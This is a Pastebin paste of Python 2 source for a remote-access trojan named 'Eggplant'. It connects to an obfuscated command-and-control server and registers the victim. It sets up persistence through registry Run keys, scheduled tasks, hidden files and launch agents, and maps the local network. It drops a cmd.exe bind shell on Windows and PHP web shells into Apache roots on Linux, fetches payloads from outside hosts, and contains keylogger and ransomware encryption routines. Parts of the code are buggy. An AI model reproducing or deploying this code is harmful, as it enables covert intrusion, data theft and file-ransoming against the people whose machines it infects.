Guest User

Untitled

a guest
Oct 27th, 2017
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.51 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. """Standard Library"""
  5. import os, sys, socket, subprocess
  6. from base64 import b64encode, b64decode
  7. from binascii import hexlify, unhexlify
  8. from random import randrange, choice
  9. from platform import uname
  10. from time import sleep
  11. from Queue import Queue
  12. from threading import Thread, Timer, Lock
  13. from requests import get, utils
  14. from urllib import urlretrieve
  15. from uuid import _ipconfig_getnode, _ipconfig_getnode
  16.  
  17. """Cryptography"""
  18. import Crypto.Cipher.AES as AES
  19. import Crypto.Hash.HMAC as HMAC
  20. import Crypto.Hash.SHA256 as SHA256
  21. from Crypto.Util.number import bytes_to_long, long_to_bytes
  22.  
  23. """Windows Packages"""
  24. import _winreg, pythoncom, pyHook, win32api
  25. from ctypes import *
  26.  
  27.  
  28. class Eggplant(object):
  29. '''Eggplant factory object for creating eggplant objects'''
  30. def __init__(self, *args, **kwargs):
  31. self.targets = []
  32. self.ransomed = []
  33. self.q = Queue()
  34. self.lock = Lock()
  35. self.listener_port = 4433
  36. self.pstring = self._pstring()
  37. self.run = kwargs.get('run') if kwargs.has_key('run') else None
  38. self.debug = kwargs.get('debug') if kwargs.has_key('debug') else None
  39. self.fname = kwargs.get('fname') if kwargs.has_key('fname') else 'AdobeFlashPlayer'
  40. self.exit_status = bool()
  41. self.port_scans = dict({})
  42. self.files = dict({'cache':[], 'log' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self.fname + '.txt', 'net' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self._temp() + '.txt', 'srv' : 'C:\Windows\System32\drivers\etc\services' if os.name == 'nt' else '/etc/services'})
  43. self.services = dict({i.split()[1][:-4]:[i.split()[0],' '.join(i.split()[2:])] for i in open(self.files.get('srv')).readlines() if len(i.split())>1 if 'tcp' in i.split()[1]})
  44. self.persistence = dict({'scheduled tasks':[], 'hidden files':[], 'registry keys':[]}) if os.name == 'nt' else dict({'launch agents':[], 'hidden files':[]})
  45. self.backdoors = dict({})
  46. self.urls = dict({'plist':'http://elderlyeggplant.000webhostapp.com/info.plist', 'icon_icns':'http://elderlyegglant.000webhostapp.com/icon.icns', 'icon_ico':'http://elderlyegglant.000webhostapp.com', 'icon_png':'http://elderlyegglant.000webhostapp.com/icon.png', 'osx_payload':'http://elderlyegglant.000webhostapp.com/osx_payload.sh', 'linux_payload':'http://elderlyegglant.000webhostapp.com/linux_payload.php'})
  47. self.icon = self.wget(self.urls.get('icon_icns')) if sys.platform.startswith('darwin') else self.wget(self.urls.get('icon_ico'))
  48. self.filepath = sys.argv[0]
  49. self.mac = '-'.join(hex(_ipconfig_getnode())[2:-1][i:i+2] if hex(_ipconfig_getnode()).endswith('l') else hex(_ipconfig_getnode())[2:][i:i+2] for i in range(0,11,2)).upper() if os.name == 'nt' else uuid1().hex[20:].upper()
  50. self.platform = uname()[0]
  51. self.device = uname()[2]
  52. self.localhost = socket.gethostbyname(socket.gethostname())
  53. self.login = os.environ.get("USERNAME", failobj="Unknown")
  54. self.machine = os.environ.get("COMPUTERNAME", failobj="Unknown")
  55. self.ip = get('http://api.ipify.org').text.encode()
  56. self.admin = bool(windll.shell32.IsUserAnAdmin() == 0) if bool(os.name == 'nt') else bool(os.getuid() == 0)
  57. self.info = "\n\tClient Host Machine Information" + "\n".join(["{} : {}".format(i[0],i[1]) for i in [('Sessions',self._sessions), ('Platform',self.platform), ('IP',self.ip), ('Machine',self.machine), ('Login',self.login), ('Admin',self.admin), ('Filepath',self.filepath)] if i[1]])
  58. self.registration = "INSERT INTO clients (uid, sessions, ip, platform, device, machine, login, admin, fpath) VALUES ('{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')"
  59. self.server = {'info':get(self._deobfuscate('ZDM2ODU3MTQyY2U3NjQ3NDc3ZDBkMTg3MDIwZWIzOTNiMWI4YWE1NzcyN2YwMDUyZTAzYjdmM2I0Njc2MzEzZTk4YjdkMzIwMDY2OWM5Njk1OWIyYWM3M2RlNTI2MjJkMDc2Mzk2Mzc4NjU1ZDZhOTZjNWQ0MmEyNDk1ODY0Mjc1NGM0Y2JiM2Q3MzIzNjZiNTk4NmEyNmVkYjM4NDZjNWM1ODNkNmQ2MTJlOThmMDhhOTA2Y2Q3YjE4MTEyNmIyNGYyYWE3ZDY2OWRlNDQ3NDY4YTM4ODA2YTlhYmUwMTExYjEyN2YyYjY3N2M5ZDEzNzZkZTMyZThhNmU1ZDVkMTg3MzJiNjIyMzMxYzc3MTZhY2RkZTY0ZTc1NzczNDYyZTRkN2QyNGViOThlNTFjN2Q2NzJhOWRmNTYwMDJjOTljMzk5ZWNiNzMzYjY0YTM4YTkwNTA0MTA0YjQ3ZTM5ZDU3NWEzODk0NDFiMTYwYzU1ZDE3NWZjYTAyMjYyMDk5MjMxNGE3MGI5ODRkODA0ZWQ3MjkwZTdkZTY3MzM5N2RlYzUzMDQxYzI5YTg5ZWMzMGYwNjQ3NTViYzMzMDFkYWM1NmUxMjJlYzU2NjM0NTIyYzc0OGVjYjY0OTUzODg5YTRjNDFlNDRiNjI0NGJlYjdiMTNiOThkZGQ5YTEzMzVhZWMzYzg5NTExNDMxNzExMDJlNzcwMDc0ZDQ4MTEyYzU1MTNkNjhkOTViOWMzMzBlMjczNzI3MDgwYzNjYjYyOTcyZWVjMjMxYTIzYjBjMmExNjU4ODUzZDFhZDllMTMyODRhMTdlYjU='), headers={self._deobfuscate('MDQ0MTQ1NjAzOWQ0MTk4ZWQyNGQ0ZGE0Y2I5MDliMjYwZDI4YzVlMTE3NzllZTg='):self._deobfuscate('ZWM0OWQ0MTQ1ZTk1MTVjYjE0YTNkNzczODA4NTE2NTQxMWMyODk1OWIzNzY0ZTk1MWI1NmQxMDI2OTg0NjUzYzk4YTQwMWE3YTRkN2U4ZGQyYzM1NzQ1NGMzZWQ2Mjc2MTU1NzMwMjVkMmU3MzRkNThhYmJhOWFhNTdiZGQ5NTQ4NDVkNGVjMzY0NWVjOGM2Y2RhZDU0YjkwZTJiNjRiOTlkMDQxZWMzNzhjNzY2ZWI2NGM1NTQzZWMyYmIyZDg1NzMzYjUzNTc4YjU5YWJjOTNhMzNiOTQ1ODE4OTViZTRjYTg1MTFjMDE1ZTI1ZDM2OTM4YzgwYzU5MDQ3OGQ5M2E0MDkzODc5ZGFiZWIzYTI1Yzg1NTRiNDhmYzU0M2JlMjRkNjUyNzU1MTUxNjQ0MDc1YTQ2NjYyNTVkYjA2NGI5YmQ4MTYxOGIwNDQ5YTQyYjliMDFhMjEzYzUzMzM4NTg1NDg3MTcxOTYyMjhiYw==')}).json(), 'port':1337}
  60. self.connect = {'ip':self.server.get('info').get(self.server.get('info').keys()[0])[0].get('ip').encode(), 'port':self.server.get('port')}
  61. self.socket = self._connect()
  62. self.dhkey = self._diffiehellman()
  63. self.startup = self._startup()
  64. self.run = self._run()
  65.  
  66. def _startup(self):
  67. """Executes startup routines"""
  68. for task in [self._lan, self._persistence, self._enum]:
  69. try:
  70. task()
  71. except Exception as e:
  72. if self.debug:
  73. with self.lock:
  74. print "Startup error: {}".format(str(e))
  75. return True
  76.  
  77. def _fname(self):
  78. """Server keeps track of the current naming scheme for each client"""
  79. try:
  80. if check:
  81. return check
  82. except Exception as e:
  83. if self.debug:
  84. with self.lock:
  85. print "Name error: {}".format(str(e))
  86.  
  87. def _heartbeat(self):
  88. """Check-in with server every 5 minutes automatically"""
  89. try:
  90. t = Timer(300.0, self.query, args=("UPDATE clients WHERE uid='{}'".format(self.mac),), kwargs={'method':'heartbeat'})
  91. t.daemon = True
  92. t.start()
  93. return
  94. except Exception as e:
  95. if self.debug:
  96. with self.lock:
  97. print "Name error: {}".format(str(e))
  98.  
  99. def _sessions(self):
  100. """Session tracker"""
  101. self.files.update({'session':os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + '.' + self.mac + '.txt'})
  102. if os.path.isfile(self.files.get('session')):
  103. with open(self.files.get('session'), 'r') as fs:
  104. prev = int(fs.read())
  105.  
  106. current = prev + 1
  107. else:
  108. current = 1
  109.  
  110. with file(self.files.get('session'), 'w') as fp:
  111. fp.write(str(current))
  112.  
  113. return str(current)
  114.  
  115. def _pstring(self):
  116. """Defines template for ping arguments on the client host machine"""
  117. if subprocess.call('ping -n 1 localhost', 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  118. return 'ping -n 1 -w 90 {}'
  119. else:
  120. return 'ping -c 1 -w 90 {}'
  121.  
  122. def _send(self, data, method='DEFAULT'):
  123. """Send encrypted data to server"""
  124. try:
  125. msg = method + ' ' + self._encrypt(data)
  126. self.socket.sendall(msg)
  127. except Exception as e:
  128. if self.debug:
  129. with self.lock:
  130. print "Send error: {}\n".format(str(e))
  131.  
  132. def _query(self, query, method='QUERY'):
  133. """Submit queries to database"""
  134. try:
  135. if method == 'heartbeat':
  136. t = Thread(target=self._heartbeat)
  137. t.daemon = True
  138. t.start()
  139. elif method == 'QUERY':
  140. self._send(query, method)
  141. ret = self.socket.recv(4096)
  142. if len(ret):
  143. self.q.put(ret)
  144. except Exception as e:
  145. if self.debug:
  146. with self.lock:
  147. print "Query eror: {}".format(str(e))
  148.  
  149. def _register(self):
  150. """Register client host machine on server database"""
  151. self.registration = self.registration.format(self.mac, self._sessions, self.ip, self.platform, self.device, self.machine, self.login, self.admin, self.filepath)
  152. try:
  153. self._send(self.registration, method='REGISTER')
  154. except Exception as e:
  155. if self.debug:
  156. with self.lock:
  157. print "Registration error: {}".format(str(e))
  158.  
  159. def _pad(self, s):
  160. """Pad data for AES encryption"""
  161. if len(s) % AES.block_size == 0:
  162. return s
  163. else:
  164. return s + b'\0' * (AES.block_size - len(s) % AES.block_size)
  165.  
  166. def _ping_threader(self):
  167. """Thread handler for bulk scanning IP addresses"""
  168. while True:
  169. worker = self.q.get()
  170. self._ping(worker)
  171. self.q.task_done()
  172.  
  173. def _ransom_threader(self):
  174. """Thread handler for ransoming files"""
  175. while True:
  176. worker = self.q.get()
  177. self._ransom(worker)
  178. self.q.task_done()
  179.  
  180. def _temp(self, base=None, case='title'):
  181. """Convenience name generator function"""
  182. names = ['Mobile', 'Resources', 'Temporary', 'Security', 'Cloud', 'Packages', 'Utilities', 'Library', 'Update', 'Settings', 'Backups', 'Icons', 'Images', 'Fonts', 'Filesystem', 'Resources', 'Defaults', 'Services', 'Version']
  183. if case == 'lower':
  184. output = str(base.lower() + choice(names).lower()) if base else choice(names).lower()
  185. elif case == 'title':
  186. output = str(base.title() + choice(names).title()) if base else choice(names).title()
  187. else:
  188. output = str(base + choice(names)) if base else choice(names)
  189. return output
  190.  
  191. def _connect(self):
  192. """Connects to server"""
  193. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  194. try:
  195. s.connect((self.connect.get('ip'), self.connect.get('port')))
  196. print '[+] Connected to {}:{}...'.format(str(self.connect.get('ip')), str(self.connect.get('port')))
  197. return s
  198. except Exception as e:
  199. if self.debug:
  200. with self.lock:
  201. print "Connection error: {}".format(str(e))
  202. sleep(10)
  203. self._connect()
  204.  
  205. def _enum(self, log=True):
  206. """Enumerates command output from Windows Net client"""
  207. cmds = [('ipconfig','/all'),
  208. ('netstat'),
  209. ('net','accounts'),
  210. ('net','file'),
  211. ('net','session'),
  212. ('net','share'),
  213. ('net','user'),
  214. ('net','view')]
  215. for cmd in cmds:
  216. try:
  217. subprocess.Popen(cmd, 0, None, fp, fp, fp, shell=True)
  218. except: pass
  219.  
  220. def _ping(self, host, *args):
  221. """Pings a machine in the local network and maps if alive"""
  222. if subprocess.call(self.pstring.format(host), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  223. if self.debug:
  224. with self.lock:
  225. print '\nDetected active host at {}'.format(host)
  226. self.scan(host)
  227. return
  228.  
  229. def _scan(self, host, port):
  230. """Port-scanner and banner-grabber"""
  231. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  232. try:
  233. sock.connect((host,int(port)))
  234. banner = sock.recv(1024)
  235. if banner:
  236. info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':banner, 'state':'open'}}
  237. else:
  238. info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':self.services.get(str(port))[1], 'state':'open'}}
  239. self.port_scans.get(host).get('ports').update(info)
  240. print '\nDetected Open Port: {} ({}) on host {}'.format(str(port), self.services.get(str(port))[0], str(host))
  241. except: pass
  242.  
  243. def _diffiehellman(self, bits=2048):
  244. """Diffie-Hellman key agreement"""
  245. try:
  246. p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
  247. g = 2
  248. a = bytes_to_long(os.urandom(32))
  249. xA = pow(g, a, p)
  250. self.socket.send(long_to_bytes(xA))
  251. xB = bytes_to_long(self.socket.recv(256))
  252. x = pow(xB, a, p)
  253. dh = SHA256.new(long_to_bytes(x)).digest()
  254. return dh
  255. except Exception as e:
  256. if self.debug:
  257. with self.lock:
  258. print "Diffie-Hellman error: {}".format(str(e))
  259. return
  260.  
  261. def _encrypt(self, plaintext):
  262. """AES 128-bit encryption """
  263. try:
  264. text = self._pad(plaintext)
  265. iv = os.urandom(AES.block_size)
  266. cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
  267. ciphertext = iv + cipher.encrypt(text)
  268. hmac_sha256 = HMAC.new(self.dhkey[16:], msg=ciphertext, digestmod=SHA256).digest()
  269. output = b64encode(ciphertext + hmac_sha256)
  270. return output
  271. except Exception as e:
  272. if self.debug:
  273. with self.lock:
  274. print "Encryption error: {}".format(str(e))
  275. return
  276.  
  277. def _decrypt(self, ciphertext):
  278. """Decrypt data encrypted with session key"""
  279. try:
  280. ciphertext = b64decode(ciphertext)
  281. iv = ciphertext[:AES.block_size]
  282. cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
  283. check_hmac = ciphertext[(len(ciphertext)-SHA256.digest_size):]
  284. calc_hmac = HMAC.new(self.dhkey[16:], msg=ciphertext[:-SHA256.digest_size], digestmod=SHA256).digest()
  285. output = cipher.decrypt(ciphertext[len(iv):-SHA256.digest_size]).rstrip(b'\0')
  286. if check_hmac != calc_hmac:
  287. if self.debug:
  288. with self.lock:
  289. print str("Sent HMAC-SHA256 Hash: {}".format(hexlify(check_hmac)) + "\nCalc HMAC-SHA256 Hash: {}".format(hexlify(calc_hmac)))
  290. return output
  291. except Exception as e:
  292. if self.debug:
  293. with self.lock:
  294. print "Decryption error: {}".format(str(e))
  295. return
  296.  
  297. def _deobfuscate(self, block):
  298. """Deobfuscate any obfuscated data, code, text, or files."""
  299. p = []
  300. block = b64decode(block)
  301. for i in xrange(2, len(block)):
  302. is_mul = False
  303. for j in p:
  304. if i % j == 0:
  305. is_mul = True
  306. break
  307. if not is_mul:
  308. p.append(i)
  309. return unhexlify(str().join(block[n] for n in p))
  310.  
  311. def _local_network(self, *args):
  312. """Worker function for LAN mapping"""
  313. try:
  314. stub = '.'.join(self.localhost.split('.')[:-1])
  315. for i in range(1,255):
  316. self.q.put(stub + '.' + str(i))
  317. t = Thread(target=self._ping_threader)
  318. t.daemon = True
  319. t.start()
  320. t.join()
  321. return
  322. except Exception as e:
  323. if self.debug:
  324. with self.lock:
  325. print "LAN error: {}".format(str(e))
  326. return
  327.  
  328. def _log(self, action):
  329. """Read, delete, clear, or upload standard output log"""
  330. try:
  331. if action == 'read':
  332. return self.cat(self.files.get('log'))
  333. elif action == 'delete':
  334. os.remove(self.files.get('log'))
  335. elif action == 'clear':
  336. with file(self.files.get('log'), 'w') as fp:
  337. fp.write(ctime())
  338. except Exception as e:
  339. if self.debug:
  340. with self.lock:
  341. print "Log error: {}".format(str(e))
  342.  
  343.  
  344. def _lan(self, mode=False):
  345. """Map local network"""
  346. if not mode:
  347. t = Thread(target=self._local_network)
  348. t.start()
  349. t.join(timeout=120.0)
  350. result = ['Local Area Network']
  351. for ip in self.port_scans.iterkeys():
  352. result.append(ip)
  353. result.append('Port scan report for {}'.format(str(ip)))
  354. result.append('PORT STATE PROTOCOL SERVICE')
  355. for port in self.port_scans.get(ip).get('ports').iterkeys():
  356. port_info = self.port_scans.get(ip).get('ports').get(port)
  357. protocol = port_info.get('protocol')
  358. service = port_info.get('service')
  359. banner = port_info.get('banner')
  360. state = port_info.get('state')
  361. info = '{}\t{}\t{}\t{}'.format(str(port), str(state), str(protocol), str(service))
  362. result.append(info)
  363. output = "\n".join(result)
  364. if self.debug:
  365. with self.lock:
  366. print output
  367. return output
  368.  
  369. def _persistence(self, **kwargs):
  370. """Establishes persistence on client host machine"""
  371. if os.name == 'nt':
  372. try:
  373. fpath = resource_path(sys.argv[0])
  374. interval = 'hourly'
  375. try:
  376. run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
  377. key_val = 'START /B {}'.format(sys.argv[0])
  378. reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_WRITE)
  379. _winreg.SetValueEx(reg_key, self.fname, 0, _winreg.REG_SZ, sys.argv[0])
  380. _winreg.CloseKey(reg_key)
  381. self.persistence.get('registry keys').append(key_val)
  382. except: pass
  383. try:
  384. direct = os.popen('attrib +s +h ' + sys.argv[0]).read()
  385. self.persistence.get('hidden files').append(sys.argv[0])
  386. except: pass
  387. try:
  388. schtask = subprocess.Popen(['schtasks','/create','/tn',self.fname,'/tr',sys.argv[0],'/sc',interval], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
  389. out,err = schtask.communicate()
  390. self.persistence.get('scheduled tasks').append(self.fname)
  391. except: pass
  392. except Exception as w:
  393. if self.debug:
  394. with self.lock:
  395. print "Persistence error: {}".format(str(w))
  396. result = "\n\n" + "\n\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.keys()]) + "\n\n"
  397.  
  398. elif sys.platform.startswith('darwin'):
  399. try:
  400. filename = os.path.basename(sys.argv[0])
  401. if not filename.startswith('.'):
  402. hidden = '.' + filename
  403. os.rename(sys.argv[0], hidden)
  404. self.persistence.get('hidden files').append(hidden)
  405. except:pass
  406.  
  407. try:
  408. osx_paths = ['var','tmp','lib','local','cache']
  409. osx_files = ['.local','.cache','.fsevents','.V100_Spotlight','.bash_profile']
  410. fpath = os.path.join(choice(osx_paths), choice(osx_files))
  411. os.makedirs(fpath) if not os.path.isdir(fpath) else None
  412. except:
  413. fpath = os.path.join(os.environ.get('TEMP', failobj=os.getcwd()), choice(osx_files))
  414. try:
  415. plist = get(self.urls.get('plist')).text.encode()
  416. label = choice('updates','cache','itunes','spotlight','archives')
  417. infoPlist = plist.replace('__LABEL__',label).replace('__SELF__', sys.argv[0])
  418.  
  419. with file(fpath, 'w') as fp:
  420. fp.write(infoPlist)
  421.  
  422. self.persistence.get('hidden files').append(fpath)
  423. os.chmod(fpath, 0755)
  424. self.persistence.get('launch agents').append('~/Library/LaunchAgents/'+ label + '.plist')
  425. os.startfile(fpath)
  426. except: pass
  427.  
  428. result = "\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.iterkeys()])
  429. else:
  430. result = "\nPersistence not yet available for " + self.platform + "\n"
  431.  
  432. return result
  433.  
  434. def _backdoor(self, **kwargs):
  435. """Drops a backdoor on client host machine"""
  436. if sys.platform.startswith('darwin'):
  437. try:
  438. appname = kwargs.get('appname') if kwargs.has_key('appname') else self._temp()
  439. os.makedirs(os.path.join(os.getcwd(), appname + '.app/Contents/MacOS'))
  440. os.mkdir(os.path.join(os.getcwd(), appname + '.app/Contents/Resources'))
  441. payload_path = os.path.join(os.getcwd(), appname + '.app/Contents/MacOS/' + appname)
  442. icon_path = os.path.join(os.getcwd(), appname + '.app/Contents/Resources')
  443. template = self.wget(self.urls.get('osx_payload'), path=payload_path)
  444. icon = self.wget(self.urls.get('icon_icns'), path=icon_path)
  445. osx_payload = template.replace('__HOST__', self.ip).replace('__PORT__', self.listener_port).replace('__APPNAME__',appname)
  446. os.chmod(payload_path, 0755)
  447. self.backdoors.update({'app':str(os.getcwd() + os.sep + appname + '.app'), 'launch agent':str('~/Library/LaunchAgents/com.apple.'+appname)})
  448. return '\nBackdoor app:\t{}\nLaunch agent:\t{}\n'.format(str(os.getcwd() + os.sep + appname + '.app'), str('~Library/LaunchAgents/com.apple.' + appname))
  449. except Exception as y:
  450. if self.debug:
  451. with self.lock:
  452. print "Mac OS X backdoor error: {}".format(str(y))
  453.  
  454. elif os.name == 'nt':
  455. try:
  456. bd = self.wget('http://' + self.connect.get('ip') + '/sbd.exe')
  457. _ = os.popen('attrib +s +h {}'.format(os.path.abspath(bd))).read()
  458. self.persistence.get('hidden files').append(bd)
  459. if 'Error' not in bd:
  460. self.backdoors.update({'sbd':bd})
  461. t = Thread(target=self.run_cmd, args=('start','/b','/d',os.path.dirname(bd),os.path.basename(bd),'-l','-p','4433','-c','on','-q','-D','on','-e','cmd.exe'))
  462. t.daemon = True
  463. t.start()
  464. try:
  465. tn = kwargs.get('appname') if kwargs.has_key('appname') else 'Adobe{}'.format(self._temp())
  466. _ = os.popen('schtasks /create /tn {} /tr {} /sc hourly'.format(tn, bd)).read()
  467. self.persistence.get('scheduled tasks').append(tn)
  468. except: pass
  469. return 'Success - backdoor listening on {} at port {}'.format(self.connect.get('ip'), self.connect.get('port'))
  470. except Exception as ee:
  471. if self.debug:
  472. with self.lock:
  473. print 'Windows backdoor failed with error: {}'.format(str(ee))
  474. return
  475.  
  476. elif sys.platform.startswith('linux') or sys.platform.endswith('nix'):
  477. try:
  478. result = []
  479. if not self.backdoors.has_key('apache'):
  480. self.backdoors.update({'apache':[]})
  481. if subprocess.call('service --status-all | grep apache2',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0 and os.path.isdir('/var/www/html'):
  482. php = self.wget(self.urls.get('linux_payload'), path='/var/www/html/apache.php')
  483. self.backdoors.get('apache').append(path)
  484. result.append("Embedded backdoor in the Apache web server root directory: '" + path + "'")
  485. items = [i for i in os.listdir('/var/www/html') if os.path.isdir(i)]
  486. for doc in items:
  487. np = os.path.join(os.path.abspath(doc), 'apache.php')
  488. payload = self.wget(self.urls.get('linux_payload', path=np))
  489. result.append("Embedded backdoor in a website document root as: " + np)
  490. self.backdoors.get('apache').append(np)
  491. if subprocess.call('service apache2 start',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0:
  492. result.append("Apache webserver now running on client host machine...")
  493. return "\n".join(result)
  494. return
  495. except Exception as bderr:
  496. if self.debug:
  497. with self.lock:
  498. print "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
  499. return "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
  500.  
  501. def _update(self, name, executable, version):
  502. try:
  503. updatePath = os.environ.get('TEMP', failobj=os.getcwd())
  504. updateName = os.path.join(updatePath, executable)
  505. getUpdate, _ = urlretrieve('http://' + self.connect.get('ip') + executable, updateName)
  506. except Exception as ue:
  507. return 'Update failed with error: {}'.format(str(ue))
  508.  
  509. if os.name == 'nt':
  510. try:
  511. p = subprocess.Popen(['@ECHO','OFF'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  512. p.communicate('start /b /d ' + updatePath + ' ' + executable)
  513. except Exception as f:
  514. if self.debug:
  515. with self.lock:
  516. return "Update failed with error: {}".format(str(f))
  517.  
  518. elif sys.platform.starswith('darwin'):
  519. try:
  520. bundle = name.replace(' ','')
  521. bundleVersion = bundle + " " + version
  522. bundleIdentify = "com.apple." + bundle
  523. appPath = os.getcwd() + os.sep + bundle + '.app'
  524. os.makedirs(appPath + os.sep + 'Contents' + os.sep + 'MacOS')
  525. os.mkdir(appPath + os.sep + 'Contents' + os.sep + 'Resources')
  526. icon = self.wget(self.urls.get('icon_icns'), path=str(appPath + os.sep + 'Contents' + os.sep + 'Resources' + os.sep + 'icon.icns'))
  527. infoPlist = get(self.urls.get('plist')).text.encode() % (exe, bundleVersion, icon, bundleIdentify, bundle, bundleVersion, version)
  528.  
  529. with file(str(appPath + os.sep + 'Contents' + os.sep + "PkgInfo"), "w") as fp:
  530. fp.write("APPL????")
  531.  
  532. with file(appPath + os.sep + 'Contents' + os.sep + 'Info.plist', "w") as fw:
  533. fw.write(infoPlist)
  534.  
  535. os.chmod(appPath + os.sep + 'Contents' + os.sep + 'MacOS' + os.sep + exe, 0755)
  536.  
  537. except Exception as e:
  538. if self.debug:
  539. with self.lock:
  540. print "Update error: {}".format(str(e))
  541. return
  542.  
  543. def _run_keylogger(self):
  544. """Target for keylogging threads"""
  545. try:
  546. k = os.popen('schtasks /RUN /TN ' + bname).read()
  547. if self.debug:
  548. with self.lock:
  549. print k
  550. except Exception as e:
  551. if self.debug:
  552. with self.lock:
  553. print 'Run keylogger command failed with error: {}'.format(str(e))
  554. return
  555.  
  556. def _ransom(self, path):
  557. """Ransom worker function"""
  558. if not os.path.exists(path):
  559. return
  560. if os.path.isfile(path):
  561. secure = self.encrypt_file(path)
  562. if secure:
  563. self.ransomed.append(path)
  564. self.targets.remove(path)
  565. elif os.path.isdir(path):
  566. for i in os.listdir(path):
  567. secure = self.encrypt_file(path)
  568. if secure:
  569. self.ransomed.append(path)
  570. self.targets.remove(path)
  571.  
  572. def _purge_regkeys(key_name):
  573. """Cleaner helper function for purging Windows registry keys created for persistence"""
  574. all_keys = self.persistence.get('registry keys').keys()
  575. for key in all_keys:
  576. value = self.persistence.get('registry keys').get(key).get('value')
  577. run_key = self.persistence.get('registry keys').get(key).get('key')
  578. try:
  579. reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_ALL_ACCESS)
  580. _winreg.DeleteValue(reg_key, value)
  581. _winreg.CloseKey(reg_key)
  582. except Exception as e:
  583. if self.debug:
  584. with self.lock:
  585. print "Destruct error: {}".format(str(e))
  586. return
  587.  
  588. def _unschedule_tasks(self):
  589. """Cleaner helper function"""
  590. all_tasks = self.persistence.get('scheduled tasks')
  591. for task in all_tasks:
  592. try:
  593. delete = subprocess.Popen(['schtasks','/delete','/tn',task,'/f'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  594. output,error = delete.communicate()
  595. if 'SUCCESS' not in output:
  596. if self.debug:
  597. print "Delete scheduled task failed to remove task with name: {}".format(task[0])
  598. except Exception as e:
  599. if self.debug:
  600. with self.lock:
  601. print "Destruct error: {}".format(str(e))
  602. return
  603.  
  604. def _remove_backdoors(self):
  605. """Cleaner function"""
  606. for bd in self.backdoors:
  607. if os.path.isfile(bd):
  608. try:
  609. os.remove(bd)
  610. except Exception as t:
  611. if self.debug:
  612. with self.lock:
  613. print "Remove backdoor returned error: {}".format(str(t))
  614.  
  615. elif os.path.isdir(bd):
  616. if not os.name=='nt':
  617. try:
  618. r = subprocess.check_output(['rm','-rf',bd],shell=True)
  619. except Exception as er:
  620. if self.debug:
  621. with self.lock:
  622. print "Remove backdoor returned error: {}".format(str(er))
  623. else:
  624. try:
  625. r = subprocess.Popen(['rmdir','/s','/q',bd],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  626. except Exception as p:
  627. if self.debug:
  628. with self.lock:
  629. print "Remove backdoor returned error: {}".format(str(p))
  630. return
  631.  
  632. def _run(self):
  633. """Main client loop:"""
  634. try:
  635. t = Timer(5.0, target=self._heartbeat())
  636. t.daemon = True
  637. t.start()
  638. except: pass
  639. while not self.exit_status:
  640. try:
  641. data = self._decrypt(self.socket.recv(4096))
  642. cmd, _, action = data.partition(' ')
  643. results = None
  644.  
  645. if cmd == 'kill':
  646. self.socket.close()
  647. return 1
  648.  
  649. elif cmd == 'selfdestruct':
  650. self.socket.close()
  651. self.destruct()
  652.  
  653. elif cmd == 'quit':
  654. self.socket.shutdown(socket.SHUT_RDWR)
  655. self.socket.close()
  656. break
  657.  
  658. elif cmd == 'log':
  659. results = self._log(action)
  660.  
  661. elif cmd == 'register':
  662. results = self._register()
  663.  
  664. elif cmd == 'query':
  665. results = self.query(action)
  666.  
  667. elif cmd == 'info':
  668. results = self.get_info()
  669.  
  670. elif cmd == 'cat':
  671. results = self.cat(action)
  672.  
  673. elif cmd == 'ls':
  674. results = self.ls(action)
  675.  
  676. elif cmd == 'pwd':
  677. results = self.pwd()
  678.  
  679. elif cmd == 'scan':
  680. results = self.scan(action)
  681.  
  682. elif cmd == 'wget':
  683. results = self.wget(action)
  684.  
  685. elif cmd == 'download':
  686. results = self.download(action)
  687.  
  688. elif cmd == 'upload':
  689. results = self.upload(action)
  690.  
  691. elif cmd == 'update':
  692. results = self.update()
  693.  
  694. elif cmd == 'persistence':
  695. results = self.persistent
  696.  
  697. elif cmd == 'lan':
  698. results = self.lan()
  699.  
  700. elif cmd == 'keylogger':
  701. results = self.keylogger(action)
  702.  
  703. elif cmd == 'backdoor':
  704. results = self.backdoor()
  705.  
  706. elif cmd == 'encrypt':
  707. results = self.encrypt_file(action)
  708.  
